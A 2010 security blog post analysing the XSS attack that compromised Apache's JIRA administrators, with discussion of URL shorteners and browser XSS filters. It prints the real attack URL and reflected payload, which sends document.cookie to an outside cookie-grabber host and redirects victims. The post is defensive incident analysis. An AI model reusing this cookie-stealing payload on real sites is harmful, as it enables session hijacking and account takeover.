Apache.org Compromised Through XSS

Submitted By Ryan Barnett 04/14/2010

One of the latest entries into the WASC Web Hacking Incident Database (WHID), deserves highlighting.

Entry Title: WHID 2010-67: Apache.org hit by targeted XSS attack, passwords compromised

WHID ID: 2010-67

Date Occured: April 9, 2010

Attack Method: Cross Site Scripting (XSS), Brute Force

Application Weakness: Improper Output Handling

Outcome: Session Hijacking

Incident Description: On April 5th, the attackers via a compromised Slicehost server opened a new issue, INFRA-2591. This issue contained the following text:

ive got this error while browsing some projects in jira http://tinyurl.com/XXXXXXXXX [obscured]

Tinyurl is a URL redirection and shortening tool. This specific URL redirected back to the Apache instance of JIRA, at a special URL containing a cross site scripting (XSS) attack. The attack was crafted to steal the session cookie from the user logged-in to JIRA. When this issue was opened against the Infrastructure team, several of our administators clicked on the link. This compromised their sessions, including their JIRA administrator rights.

Attack Source Geography:

Attacked Entity Field: Technology

Attacked Entity Geography: USA

Reference: http://blogs.zdnet.com/security/?p=6123&tag=nl.e539

The end URL destination that the attackers send the Apache admins to was this (with some data obscured) -

https://obscured/path/to/vuln/page.jsp?vulnerable_parameter_name=name;}catch(e){}%0D%0A--></script><noscript><meta%20http-equiv="refresh"%20content="0;url=http://pastie.org/904699"></noscript>
<script>document.write('<img%20src="http://teap.zzl.org/teap.php?data='%2bdocument.cookie%2b'"/>');window.location="http://pastie.org/904699";
</script><script><!--&defaultColor=';try{//

As you can see, the attack is using some html/javascript tricks to force the user's browser to send the "document.cookie" DOM object data off site to the attacker's cookie grabber app (teap.php). The attack payload is using an easy browser trick by placing the javascript data inside of an html IMG tag which makes it possible to bypass the DOM restrictions about different domains access cookie data from other domains.

Here is how the XSS payloads looks if echoed back from JIRA -

<script language="JavaScript" type="text/javascript">

<!--

var defaultColor = '';try{//';

var choice = false;

var openerForm = opener.document.jiraform;

var openerEl = opener.document.jiraform.name;}catch(e){}

--></script><noscript><meta equiv="refresh" content="0;url=http://pastie.org/904699"></noscript><script>document.write('<img src="http://teap.zzl.org/teap.php?data='+document.cookie+'" />');window.location="http://pastie.org/904699";</script><script><!--;

function colorIn(color) {

if (!choice) {

openerEl.value = color;

document.f.colorVal.value = color;

}

}

This attack also highlights the fact that URL Shortener applications (such as tinyurl in this case) can be abused by attackers to hide the destination URL payloads. There was some recent research done by ZScaler entitled "Are URL Shorteners Really Dangerous" however it only focused on malware attacks through URL Shorteners and not XSS attack payloads. As you can see, URL Shorteners are still dangerous as they can dupe and end user into clicking on it as there is no way to tell if the end URL is dangerous or not until you actually click on it. This scenario is another great reason why a browser plugin such as NoScript is so important. As a test, I clicked on the same tinyurl link in Firefox with NoScript and got a warning message and this data was logged in the console -

[NoScript XSS] Sanitized suspicious request. Original URL [https://obscured/path/to/vuln/page.jsp?vulnerable_parameter_name=name;}catch(e){}%0D%0A--%3E%3C/script%3E%3Cnoscript%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%220;url=http://pastie.org/904699%22%3E%3C/nos
cript%3E%3Cscript%3Edocument.write(%27%3Cimg%20src=%22http://teap.zzl.org/teap.php?data=%27%2bdocument.cookie%2b%27%22/%3E%27);window.location=%22http://pastie.org/904
699%22;%3C/script%3E%3Cscript%3E%3C!--&defaultColor=%27;try{//] requested from [chrome://browser/content/browser.xul]. Sanitized URL: [https://obscured/path/to/vuln/page.jsp?vulnerable_parameter_name=NAME%3B%7Dcatch%20e%20%7B%7D%20-%3E%20%2Fscript%3E%20noscript%3E%20meta%20http-equiv=%20refresh%20content=%200%3Burl=http://pastie.org/904699%22%3E%3C/noscri
pt%3E%3Cscript%3Edocument.write(%27%3Cimg%20src=%20http%3A%2F%2Fteap.zzl.org%2Fteap.php%3F
data=%20%2BDOCUMENT.COOKIE%2B%20%20%2F%3E%20%20%3Bwindow.LOCATION=%20http%3A%2F%2Fp
astie.org%2F904699%20%3B%20%2Fscript%3E%20script%3E%20!-&defaultColor=%20%3Btry%7B%2F%2F#376924726542634355].

Thank You NoScript!

Update - I also tested Google Chrome's XSS prevention (comparing inbound payloads with outbound response body data) and it seemed to work as it did not execute the XSS code and the Developer tools console showed this message -

Refused to execute a JavaScript script. Source code of script found within request.